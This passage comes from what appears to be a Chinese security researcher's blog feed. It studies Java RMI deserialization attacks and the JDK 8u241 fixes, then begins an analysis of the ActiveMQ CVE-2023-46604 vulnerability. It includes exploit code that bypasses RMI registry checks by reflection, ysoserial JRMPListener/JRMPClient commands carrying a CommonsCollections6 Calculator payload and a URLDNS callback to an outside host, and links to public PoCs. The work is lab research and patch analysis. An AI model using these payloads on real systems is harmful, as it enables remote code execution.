            byte[] result = byteArrayOutputStream.toByteArray();

            ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(result);
            ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
//            ✅
            objectInputStream.readObject();

        return unicastRemoteObject;
    }
</code></pre>
<p>调用栈：</p>
<pre><code class="language-Java"> /**
     * makeDirtyCall:381, DGCClient$EndpointEntry (sun.rmi.transport)  //  DGC dirty请求
     * registerRefs:324, DGCClient$EndpointEntry (sun.rmi.transport)
     * registerRefs:160, DGCClient (sun.rmi.transport)
     * read:312, LiveRef (sun.rmi.transport)                          // 直接触发了UnicastRef链
     * readExternal:489, UnicastRef (sun.rmi.server)
     * readObject:455, RemoteObject (java.rmi.server)
     * invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
     * invoke:62, NativeMethodAccessorImpl (sun.reflect)
     * invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
     * invoke:498, Method (java.lang.reflect)
     * invokeReadObject:1170, ObjectStreamClass (java.io)
     * readSerialData:2178, ObjectInputStream (java.io)
     * readOrdinaryObject:2069, ObjectInputStream (java.io)
     * readObject0:1573, ObjectInputStream (java.io)
     * defaultReadFields:2287, ObjectInputStream (java.io)
     * readSerialData:2211, ObjectInputStream (java.io)
     * readOrdinaryObject:2069, ObjectInputStream (java.io)
     * readObject0:1573, ObjectInputStream (java.io)
     * defaultReadFields:2287, ObjectInputStream (java.io)
     * defaultReadObject:561, ObjectInputStream (java.io)
     * readObject:234, UnicastRemoteObject (java.rmi.server)             // TRIGGER HERE 
     * invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
     * invoke:62, NativeMethodAccessorImpl (sun.reflect)
     * invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
     * invoke:498, Method (java.lang.reflect)
     * invokeReadObject:1170, ObjectStreamClass (java.io)
     * readSerialData:2178, ObjectInputStream (java.io)
     * readOrdinaryObject:2069, ObjectInputStream (java.io)
     * readObject0:1573, ObjectInputStream (java.io)
     * readObject:431, ObjectInputStream (java.io)
     * getUnicastRefObject2:73, RMIRegistryExploitBy8u231 (com.example.basicstudy.rmi)
     * main:34, RMIRegistryExploitBy8u231 (com.example.basicstudy.rmi)
     * */
</code></pre>
<p>问题是，通过重写后的lookup object 发给RMI时，没有触发UnicastRef链，没有调用到UnicastRemoteObject的readObject，而是直接调用了RemoteObject的readObject，调用栈如下：</p>
<pre><code class="language-Java">readObject:424, RemoteObject (java.rmi.server)          // different
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
defaultReadFields:2287, ObjectInputStream (java.io)
readSerialData:2211, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
dispatch:122, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:469, UnicastServerRef (sun.rmi.server)
dispatch:301, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:573, TCPTransport (sun.rmi.transport.tcp)
run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 851992001 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5)
doPrivileged:-1, AccessController (java.security)
run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)
</code></pre>
<p>原因：</p>
<p><img src="media/15891848112325/image-20240527173406279.png" alt="image-20240527173406279" /></p>
<p><img src="media/15891848112325/image-20240527173023084.png" alt="image-20240527173023084" /></p>
<p>为什么前面的RemoteObjectInvocationHandler没有这个问题？实际上调试var2拿到的是null，不会被替换。</p>
<p><img src="media/15891848112325/image-20240527194610966.png" alt="image-20240527194610966" /></p>
<p>解决办法：在lookupObject中的 writeObject时，反射修改enableReplace的值 为false：</p>
<pre><code class="language-Java">
    public static Remote lookupObject(Registry registry, Object var1) throws Exception {
        try {
            RemoteRef ref = (RemoteRef) Reflections.getFieldValue(registry,&quot;ref&quot;);
            Operation[] operations = new Operation[]{new Operation(&quot;void bind(java.lang.String, java.rmi.Remote)&quot;), new Operation(&quot;java.lang.String list()[]&quot;), new Operation(&quot;java.rmi.Remote lookup(java.lang.String)&quot;), new Operation(&quot;void rebind(java.lang.String, java.rmi.Remote)&quot;), new Operation(&quot;void unbind(java.lang.String)&quot;)};
            RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);

            try {
                ObjectOutput var3 = var2.getOutputStream();

                Reflections.setFieldValue(var3,&quot;enableReplace&quot;,false);  // here


                var3.writeObject(var1);
            } catch (IOException var18) {
                throw new MarshalException(&quot;error marshalling arguments&quot;, var18);
            }

            ref.invoke(var2);

            //处理返回信息的代码逻辑也可以删除
            Remote var23;
            try {
                ObjectInput var6 = var2.getInputStream();
                var23 = (Remote)var6.readObject();
            } catch (IOException var15) {
                throw new UnmarshalException(&quot;error unmarshalling return&quot;, var15);
            } catch (ClassNotFoundException var16) {
                throw new UnmarshalException(&quot;error unmarshalling return&quot;, var16);
            } finally {
                ref.done(var2);
            }

            return var23;
        } catch (RuntimeException var19) {
            throw var19;
        } catch (RemoteException var20) {
            throw var20;
        } catch (NotBoundException var21) {
            throw var21;
        } catch (Exception var22) {
            throw new UnexpectedException(&quot;undeclared checked exception&quot;, var22);
        }
    }
</code></pre>
<p>后续可复现成功。</p>
<p>调用栈：</p>
<pre><code class="language-plain_text">resolveClass:203, MarshalInputStream (sun.rmi.server)
readNonProxyDesc:1868, ObjectInputStream (java.io)
readClassDesc:1751, ObjectInputStream (java.io)
readOrdinaryObject:2042, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
executeCall:270, StreamRemoteCall (sun.rmi.transport)
invoke:161, UnicastRef (sun.rmi.server)                         // UnicastRef利用链
invokeRemoteMethod:227, RemoteObjectInvocationHandler (java.rmi.server)
invoke:179, RemoteObjectInvocationHandler (java.rmi.server)
createServerSocket:-1, $Proxy2 (com.sun.proxy)
newServerSocket:666, TCPEndpoint (sun.rmi.transport.tcp)
listen:335, TCPTransport (sun.rmi.transport.tcp)
exportObject:254, TCPTransport (sun.rmi.transport.tcp)
exportObject:411, TCPEndpoint (sun.rmi.transport.tcp)
exportObject:147, LiveRef (sun.rmi.transport)
exportObject:237, UnicastServerRef (sun.rmi.server)
exportObject:383, UnicastRemoteObject (java.rmi.server)
exportObject:346, UnicastRemoteObject (java.rmi.server)
reexport:268, UnicastRemoteObject (java.rmi.server)
readObject:235, UnicastRemoteObject (java.rmi.server)           // trigger here
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)   
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
dispatch:122, RegistryImpl_Skel (sun.rmi.registry)              // trigger here 直接在readObject中触发利用链
oldDispatch:469, UnicastServerRef (sun.rmi.server)
dispatch:301, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:573, TCPTransport (sun.rmi.transport.tcp)
run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 851992001 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5)
doPrivileged:-1, AccessController (java.security)
run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)
</code></pre>
<p>参考：</p>
<ul>
<li><a href="https://cert.360.cn/report/detail?id=add23f0eafd94923a1fa116a76dee0a1">https://cert.360.cn/report/detail?id=add23f0eafd94923a1fa116a76dee0a1</a></li>
<li><a href="https://github.com/bit4woo/code2sec.com/blob/master/CVE-2017-3241%20Java%20RMI%20Registry.bind()%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E.md">https://github.com/bit4woo/code2sec.com/blob/master/CVE-2017-3241%20Java%20RMI%20Registry.bind()%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E.md</a></li>
<li>利用链：<a href="https://github.com/bit4woo/ysoserial/blob/bit4woo/src/main/java/ysoserial/payloads/JRMPClient2.java">https://github.com/bit4woo/ysoserial/blob/bit4woo/src/main/java/ysoserial/payloads/JRMPClient2.java</a></li>
</ul>
<h3><a id="5%E3%80%81jdk-8u241%E4%BF%AE%E5%A4%8D" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>5、jdk &gt;=8u241 修复</h3>
<p>1、RegistryImpl_Skel 中lookup 强制获取string类型，而不是readObject。（让 重写的lookup失效了）</p>
<p>2、修复 UnicastRemoteObject链： RemoteObjectInvocationHandler#invokeRemoteMethod 在调用ref.invoke前检测Method对象表示方法所在类的Class对象（即这里Gadget chain中的RMIServerSocketFactory）是否实现了Remote接口。（让UnicastRemoteObject利用链失效）</p>
<h2><a id="rmi-registry%E5%8F%8D%E5%88%B6-rmi-server%E2%9C%85-ysoserial%E5%8F%8D%E5%88%B6" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>RMI Registry反制 RMI Server  ✅ (ysoserial反制)</h2>
<p>参考：RMI反序列化及相关工具反制浅析  <a href="https://mp.weixin.qq.com/s/uZQJL_tKd_nwPvANIG6fWA">https://mp.weixin.qq.com/s/uZQJL_tKd_nwPvANIG6fWA</a></p>
<h3><a id="1%EF%BC%89%E5%8F%8D%E5%88%B6ysoserial" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>1）反制ysoserial</h3>
<pre><code class="language-plain_text">部署反制Server：
java  -cp ~/Downloads/ysoserial-all.jar   ysoserial.exploit.JRMPListener 10099 URLDNS http://testycx-anti-client.d.s.dlsr.icu

攻击者：（被反制）
java  -cp ~/Downloads/ysoserial-all.jar   ysoserial.exploit.RMIRegistryExploit 127.0.0.1 10099 URLDNS http://test.testycx.d.s.dlsr.icu
</code></pre>
<p><img src="media/15891848112325/17150905425143.jpg" alt="" /></p>
<p>测试代码：</p>
<pre><code class="language-plain_text">    private static void test04AntiClient() {
        try {
            Registry registry = LocateRegistry.getRegistry(10999);
            registry.list(); // bind同理

        } catch (Exception e) {
            System.err.println(&quot;Client exception: &quot; + e.toString());
            e.printStackTrace();
        }
    }
</code></pre>
<p>调用栈：</p>
<pre><code class="language-plain_text">readObject:364, ObjectInputStream (java.io)
executeCall:245, StreamRemoteCall (sun.rmi.transport)      // trigger here
invoke:379, UnicastRef (sun.rmi.server)
list:-1, RegistryImpl_Stub (sun.rmi.registry)
test04AntiClient:45, RMIClient (com.example.basicstudy.rmi)
main:38, RMIClient (com.example.basicstudy.rmi)
</code></pre>
<p>原理：客户端反序列化</p>
<p><img src="media/15891848112325/17168130609401.jpg" alt="" /></p>
<h3><a id="2%E3%80%81%E5%8F%8D%E5%88%B6rmitaste" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>2、反制RmiTaste</h3>
<pre><code class="language-plain_text"># SERVER
ysoserial ysoserial.exploit.JRMPListener 10999 CommonsCollections6 &quot;open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator

# CLIENT
cd ~/Documents/Tech/Pentest/Tools/RmiTaste
java -cp &quot;.:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar&quot; m0.rmitaste.RmiTaste conn -t 127.0.0.1 -p 10999
</code></pre>
<p>反制成功。</p>
<p>PS：enum模式拿不到需要的类，即使class给了也不行。</p>
<pre><code class="language-plain_text">java -cp &quot;.:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar&quot; m0.rmitaste.RmiTaste enum -t 127.0.0.1 -p 1099
</code></pre>
<h2><a id="%E5%8F%82%E8%80%83%EF%BC%9A" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>参考：</h2>
<p>1、JAVA安全基础（四）-- RMI机制  <a href="https://xz.aliyun.com/t/9261">https://xz.aliyun.com/t/9261</a>  （基础文章，主要介绍了1）如何通过rmi client攻击一个rmi server，如果接口函数包含object参数；2）如何 RMIRegistryExploit如何通过 registry.bind来攻击RMI Registry）</p>
<p>2、<a href="https://hacktricks.boitatech.com.br/pentesting/1099-pentesting-java-rmi">https://hacktricks.boitatech.com.br/pentesting/1099-pentesting-java-rmi</a> （todo）</p>
<p>3、针对RMI服务的九重攻击  <a href="https://xz.aliyun.com/t/7930%E3%80%81https://xz.aliyun.com/t/7932">https://xz.aliyun.com/t/7930、https://xz.aliyun.com/t/7932</a></p>
<p>代码：<br />
1、RegistryImpl_Skel#dispatch  -&gt; bind/rebind   : 对应registry攻击方法中的 server bind rebind恶意对象（RMIRegistryExploit)</p>
<p>2、DGCImpl_Skel#dispatch   :  clean/ditry： 对应客户端触发DGC（0为clean 1为dirty）（JRMPClient）</p>
<p>其他：<br />
1、ysoserial中还有2个RMI相关的payload，简单记录用法</p>
<pre><code class="language-bash">
# 1. 开启JRMP监听端口 1199，后续可用
ysoserial ysoserial.payloads.JRMPListener 1199 &gt; /tmp/ysoserial.payloads.JRMPListener1199.ser

# 2. 生成UnicastRef链的ysoserial.payloads.JRMPClient的payload，指定恶意的JRMP端口 （UnicastRef链）
# 准备工作 java -cp ~/Downloads/ysoserial-all.jar ysoserial.exploit.JRMPListener 10999 CommonsCollections6 &quot;open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator&quot;
ysoserial ysoserial.payloads.JRMPClient  127.0.0.1:10999 &gt; /tmp/ysoserial.payloads.JRMPClient10999.ser


# Exploit
exploit.JRMPClient  DGC请求打RMIRegistry，对应 RMIRegistry中的1.2
exploit.JRMPListener  JRMP Listener，打DGCStub 客户端  对应UnicastRef链中的
</code></pre>
<p>2、jdk动态代理：unicastref、unicastremoteObject 原理分析</p>
<p>3、RmiTaste等</p>
<p>4、如何看RMI端口查看注册的信息？ nmap 127.0.0.1 -p 1099 -A</p>
<pre><code class="language-plain_text">Host is up (0.00027s latency).

PORT     STATE SERVICE  VERSION
1099/tcp open  java-rmi Java RMI
| rmi-dumpregistry:
|   Hello
|      implements java.rmi.Remote, com.example.basicstudy.rmi.Hello,
|     extends
|       java.lang.reflect.Proxy
|       fields
|           Ljava/lang/reflect/InvocationHandler; h
|             java.rmi.server.RemoteObjectInvocationHandler
|             @&lt;ip&gt;:49525
|             extends
|_              java.rmi.server.RemoteObject

</code></pre>
<p>5、归档情况：【代码✅】【笔记&amp;drawio&amp;xmind✅】【ppt✅】【视频】</p>
<p><a href="media/15891848112325/java%E5%AE%89%E5%85%A8-rmi-%E9%A3%8E%E9%99%A9%E6%96%B9%E6%A1%88.drawio">java安全-rmi-风险方案</a></p>
<p><a href="media/15891848112325/java%E5%AE%89%E5%85%A8-RMI%E7%9B%B8%E5%85%B3%E5%AD%A6%E4%B9%A020240529%E6%95%B4%E7%90%86.xmind">java安全-RMI相关学习20240529整理</a></p>
<p><a href="media/15891848112325/2024.05.29%20Java%20RMI%E6%94%BB%E5%87%BB%E9%9D%A2%E5%88%86%E4%BA%AB%EF%BC%88%E5%B7%B2%E7%9F%A5%E6%8A%80%E6%9C%AF%E6%80%BB%E7%BB%93%EF%BC%89.pdf">2024.05.29 Java RMI攻击面分享（已知技术总结）</a></p>
]]>
    </content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[activemq CVE-2023-46604 简要分析]]></title>
    <link href="https://thinkycx.me/2024-04-19-activemq-cve-2023-46604-analysis.html"/>
    <updated>2024-02-20T19:12:45+08:00</updated>
    <id>https://thinkycx.me/2024-04-19-activemq-cve-2023-46604-analysis.html</id>
    <content type="html">
      <![CDATA[<h2><a id="%E8%83%8C%E6%99%AF" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>背景</h2>
<p>漏洞利用简介：activemq-client中针对openwire协议的处理存在问题，攻击者可以构造一个恶意对象（预期只接受throwable对象）发给broker触发对象反序列化（unmarshal）的过程，实现调用任意类的string参数构造方法，结合spring context 中的ClassPathXmlApplicationContext/FileSystemXmlApplicationContext 完成远程代码执行。参考漏洞官方简介：<a href="https://activemq.apache.org/news/cve-2023-46604">https://activemq.apache.org/news/cve-2023-46604</a></p>
<p>漏洞比较老，基于最近的契机简单分析一下，水一篇文章，没有什么新的东西。</p>
<span id="more"></span><!-- more -->
<p>2024年4月19日 下午11:26:47</p>
<h2><a id="0x01-activemq%E4%BB%8B%E7%BB%8D" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>0x01 activemq介绍</h2>
<h3><a id="%E6%98%AF%E4%BB%80%E4%B9%88" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>是什么</h3>
<blockquote>
<p>相关概念：<br />
ActiveMQ是Apache软件基金下的一个开源软件，它遵循JMS1.1规范（Java Message Service），是消息队列服务，是面向消息中间件（MOM）的最终实现，它为企业消息传递提供高可用、出色性能、可扩展、稳定和安全保障。</p>
<p>JMS：Java Message Service，JMS是一个java平台中关于面向消息中间件的API。</p>
<p>PTP：The point-to-point，可以同步或者异步的发送和接受消息，每个消息仅被发送一次，且消费一次。</p>
</blockquote>
<p><img src="media/17084275650325/17133554412211.jpg" alt="" /></p>
<p>参考： <a href="https://www.h3c.com/cn/pub/Document_Center/2022/09/H3C_ZJJ_LJBZ_WebHelp/activemq/index.html">https://www.h3c.com/cn/pub/Document_Center/2022/09/H3C_ZJJ_LJBZ_WebHelp/activemq/index.html</a></p>
<h3><a id="%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>环境搭建</h3>
<p>历史版本下载：<br />
<a href="https://activemq.apache.org/components/classic/download/classic-05-17-03">https://activemq.apache.org/components/classic/download/classic-05-17-03</a><br />
<a href="https://archive.apache.org/dist/activemq/5.17.3/apache-activemq-5.17.3-bin.tar.gz">https://archive.apache.org/dist/activemq/5.17.3/apache-activemq-5.17.3-bin.tar.gz</a></p>
<pre><code class="language-plain_text">cd ~/Downloads/apache-activemq-5.17.3
./bin/activemq start
./bin/activemq status

</code></pre>
<p>后台管理：<br />
<a href="http://localhost:8161/admin/index.jsp">http://localhost:8161/admin/index.jsp</a><br />
<a href="http://localhost:8161/admin/queues.jsp">http://localhost:8161/admin/queues.jsp</a></p>
<p>默认密码：admin admin</p>
<p><img src="media/17084275650325/17132544473293.jpg" alt="" /></p>
<h3><a id="%E7%AE%80%E5%8D%95%E4%BD%BF%E7%94%A8demo%EF%BC%9A-hello-world" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>简单使用demo： hello world</h3>
<h4><a id="demo01%EF%BC%9A%E5%AE%98%E6%96%B9%E4%BB%A3%E7%A0%81" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>demo01 ：官方代码</h4>
<p>/apache-activemq-5.17.3/examples/openwire/java<br />
<img src="media/17084275650325/17133556673435.jpg" alt="" /></p>
<h4><a id="demo02%EF%BC%9A%E7%94%9F%E4%BA%A7%E6%B6%88%E8%B4%B9" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>demo02： 生产&amp;消费</h4>
<p>编写一个producer和consumer，参考：<a href="https://juejin.cn/post/6882194277234032654">https://juejin.cn/post/6882194277234032654</a></p>
<p>1、producer发送消息：</p>
<pre><code class="language-java">package org.example;

import org.apache.activemq.ActiveMQConnectionFactory;

import javax.jms.*;

/**
 * Hello world!
 *
 */
public class Producer
{
    public static void main(String[] args) throws JMSException, InterruptedException {
        // 1. 获取连接工厂
        ActiveMQConnectionFactory factory = new ActiveMQConnectionFactory(
                ActiveMQConnectionFactory.DEFAULT_USER,
                ActiveMQConnectionFactory.DEFAULT_PASSWORD,
                &quot;tcp://localhost:61616&quot;
        );
        // 2. 获取一个向activeMq的连接
        Connection connection = factory.createConnection();
        // 3. 获取session
        Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);

        // 4.找目的地，获取destination，消费端，也会从这个目的地取消息
        Queue queue = session.createQueue(&quot;user&quot;);

        // 5.1 消息创建者
        MessageProducer producer = session.createProducer(queue);

        // consumer --&gt; 消费者
        // producer --&gt; 创建者
        // 5.2. 创建消息
        for (int i = 0; i &lt; 1; i++) {
//            TextMessage textMessage = session.createTextMessage(&quot;hi：&quot;+i);
//            producer.send(textMessage);
            ObjectMessage objectMessage = session.createObjectMessage(&quot;123&quot;);
            producer.send(objectMessage);

            // 5.3 向目的地写入消息
            Thread.sleep(1000);
        }

        // 6.关闭连接
        connection.close();

        System.out.println(&quot;结束。。。。。&quot;);

//        链接：https://juejin.cn/post/6882194277234032654

    }
}

</code></pre>
<p>2、consumer接收消息：</p>
<pre><code class="language-java">package org.example;

import org.apache.activemq.ActiveMQConnectionFactory;

import javax.jms.*;


/**
 * @program: activemq_01
 * @ClassName Receiver
 * @description: 消息接收
 * @author: muxiaonong
 * @create: 2020-10-02 13:01
 * @Version 1.0
 **/
public class Receiver {

    public static void main(String[] args) throws Exception{
        // 1. 获取连接工厂
        ActiveMQConnectionFactory factory = new ActiveMQConnectionFactory(
                ActiveMQConnectionFactory.DEFAULT_USER,
                ActiveMQConnectionFactory.DEFAULT_PASSWORD,
                &quot;tcp://localhost:61616&quot;
        );

        // 2. 获取一个向activeMq的连接
        Connection connection = factory.createConnection();
        connection.start();

        // 3. 获取session
        Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);

        // 4.找目的地，获取destination，消费端，也会从这个目的地取消息
        Destination queue = session.createQueue(&quot;user&quot;);

        // 5 获取消息
        MessageConsumer consumer = session.createConsumer(queue);

        while(true){
            TextMessage message = (TextMessage)consumer.receive();
            System.out.println(&quot;message：&quot;+message.getText());
        }
    }
}

//        链接：https://juejin.cn/post/6882194277234032654

</code></pre>
<p><img src="media/17084275650325/17133549930258.jpg" alt="" /></p>
<p><img src="media/17084275650325/17132752933674.jpg" alt="" /></p>
<h2><a id="0x02%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>0x02 漏洞复现</h2>
<p>1、golang的poc，发送二进制数据（golang模拟协议）</p>
<p><a href="https://github.com/X1r0z/ActiveMQ-RCE">https://github.com/X1r0z/ActiveMQ-RCE</a></p>
<p><img src="media/17084275650325/17084865650513.jpg" alt="" /></p>
<p>2、java的poc<br />
<a href="https://github.com/T0ngMystic/Vulnerability_List/blob/main/CVE-2023-46604-ActiveMQ/src/main/java/ConnectionErrorPoc.java">https://github.com/T0ngMystic/Vulnerability_List/blob/main/CVE-2023-46604-ActiveMQ/src/main/java/ConnectionErrorPoc.java</a></p>
<p>3、本地复现：<br />
<img src="media/17084275650325/17140503935876.jpg" alt="" /></p>
<h2><a id="0x03%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>0x03 漏洞分析</h2>
<h3><a id="%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>漏洞原理</h3>
<p>漏洞原因：activemq broker针对 throwable对象的unmarshal过程中，createThrowable函数中，classname和 有参构造函数的 value 都是来自于 二进制流中获取到的数据，二进制流的构造来自于客户端的marshal过程。当协议分析清楚时/客户端可以伪造时，那就可以发送一个恶意构造好的协议数据来触发。<br />
漏洞利用效果：能调用任意类的String构造方法（结合 spring中的 ClassPathXmlApplicationContext）就可以实现rce。</p>
<p>修复后：如果有继承了Throwable类的对象可以被利用，那么依然可以利用。</p>
<p>漏洞patch分析：<a href="https://github.com/apache/activemq/commit/958330df26cf3d5cdb63905dc2c6882e98781d8f">https://github.com/apache/activemq/commit/958330df26cf3d5cdb63905dc2c6882e98781d8f</a><br />
在createThrowable中判断 class是否是继承Throwable类。<br />
<img src="media/17084275650325/17133551418677.jpg" alt="" /></p>
<p>IDEA分析一下 createThrowable的调用来源:looseUnmarsalThrowable 和 tightUnmarsalThrowable<br />
<img src="media/17084275650325/17141310262320.jpg" alt="" /></p>
<p>这两个函数的在ConnectionErrorMarshaller 、ExceptionResponseMarshaller、MessageAckMarshaller中都有用到（这3个类都实现了 DataStreamMarshaller接口）<br />
<img src="media/17084275650325/17133561457699.jpg" alt="" /></p>
<p>这3个类的作用都是用来marshal/unmarshal对应的数据结构的：ConnectionError 16 、ExceptionResponse 31 、 MessageAck 22（都实现了Command接口，是DataStructure接口的子类）。因此要触发漏洞 转化为如何调用这几个类的方法。</p>
<p>OpenWireFormat类的实现：marshal和unmarshal方法。（调试原理需要断点打在 这两个方法上，触发路径在这里）<br />
<img src="media/17084275650325/17133572443631.jpg" alt="" /></p>
<p>不同的datastructure有自己的 序列化反序列化类（就是涉及到上述的3个类）：<br />
<img src="media/17084275650325/17133577539161.jpg" alt="" /></p>
<p>如何在activemq的broker在收到消息时调用这几个 datastruture对应的序列化器的unmarshal方法？<br />
结合源码&amp;网上文章&amp;下载activemq 源码调试：producer在创建connection时会发送消息，最终调用 oneway函数发送，此处接受Object。该方法可以直接调用，用来发送上述几个datastructure。<br />
<img src="media/17084275650325/17133590055969.jpg" alt="" /></p>
<h3><a id="%E8%B0%83%E8%AF%95%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>调试环境搭建</h3>
<p>环境搭建与调试：（参考：<a href="https://blog.csdn.net/weixin_33857230/article/details/88770040%EF%BC%89">https://blog.csdn.net/weixin_33857230/article/details/88770040）</a><br />
1、下载activemq-parent-5.17.3<br />
2、设置jdk11 并编译：mvn package -DskipTests<br />
3、从~/Downloads/activemq-parent-5.17.3/assembly/的target中可以拿到编译好的文件运行<br />
4、本地调试：复制配置文件到上层目录、IDEA 导入好lib文件。</p>
<p>如果位置切换了请重新编译。<br />
目录结构：<br />
<img src="media/17138577097108/17138583072859.jpg" alt="" /></p>
<p>调试环境：<br />
<img src="media/17138577097108/17138583329806.jpg" alt="" /></p>
<p><img src="media/17138577097108/17138582785855.jpg" alt="" /></p>
<h3><a id="%E5%AE%A2%E6%88%B7%E7%AB%AF%E5%92%8C%E6%9C%8D%E5%8A%A1%E7%AB%AF%E7%9A%84%E9%80%9A%E4%BF%A1%E9%80%BB%E8%BE%91" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>客户端和服务端的通信逻辑</h3>
<p>用client发送exp给服务端（broker 61616），看下客户端和marshal和unmarshal的过程：</p>
<pre><code class="language-plain_text"># 客户端的 OpenWireFormat 日志打点， marshal和 unmarshal的调用过程

# 正常通信 建立链接时
[*] OpenWireFormat marshal:org.apache.activemq.openwire.v12.WireFormatInfoMarshaller@358c99f5
 
               &lt;- [-]OpenWireFormat doUnmarshal:org.apache.activemq.openwire.v12.WireFormatInfoMarshaller@358c99f5
 
[*] OpenWireFormat marshal:org.apache.activemq.openwire.v12.ConnectionInfoMarshaller@3b938003
 
               &lt;- [-]OpenWireFormat doUnmarshal:org.apache.activemq.openwire.v12.BrokerInfoMarshaller@177b3d7d
 
               &lt;- [-]OpenWireFormat doUnmarshal:org.apache.activemq.openwire.v12.ConnectionControlMarshaller@5f1d6aad
 
               &lt;- [-]OpenWireFormat doUnmarshal:org.apache.activemq.openwire.v12.ResponseMarshaller@fca1b07
 
[*] OpenWireFormat marshal:org.apache.activemq.openwire.v12.ConsumerInfoMarshaller@2a32de6c
 
               &lt;- [-]OpenWireFormat doUnmarshal:org.apache.activemq.openwire.v12.ResponseMarshaller@fca1b07
 


# 开始发送数据时（poc  ExceptionResponseMarshaller）
               // send poc....
[*] OpenWireFormat marshal:org.apache.activemq.openwire.v12.ExceptionResponseMarshaller@7f1302d6
 

[*] OpenWireFormat marshal:org.apache.activemq.openwire.v12.RemoveInfoMarshaller@5db250b4
 
[*] OpenWireFormat marshal:org.apache.activemq.openwire.v12.RemoveInfoMarshaller@5db250b4
 
               &lt;- [-]OpenWireFormat doUnmarshal:org.apache.activemq.openwire.v12.ResponseMarshaller@fca1b07
 
[*] OpenWireFormat marshal:org.apache.activemq.openwire.v12.ShutdownInfoMarshaller@78e94dcf
 
Disconnected from the target VM, address: '127.0.0.1:57927', transport: 'socket'

Process

</code></pre>
<p>上述每次客户端unmarshal过程，一一对应服务端给客户端发送数据的过程：</p>
<pre><code class="language-plain_text"># 服务端 给客户端发送的 oneway方法 日志打点  
# 对应客户端的 doUnmarshal方法调用  
    # public void oneway(Object command) throws IOException {

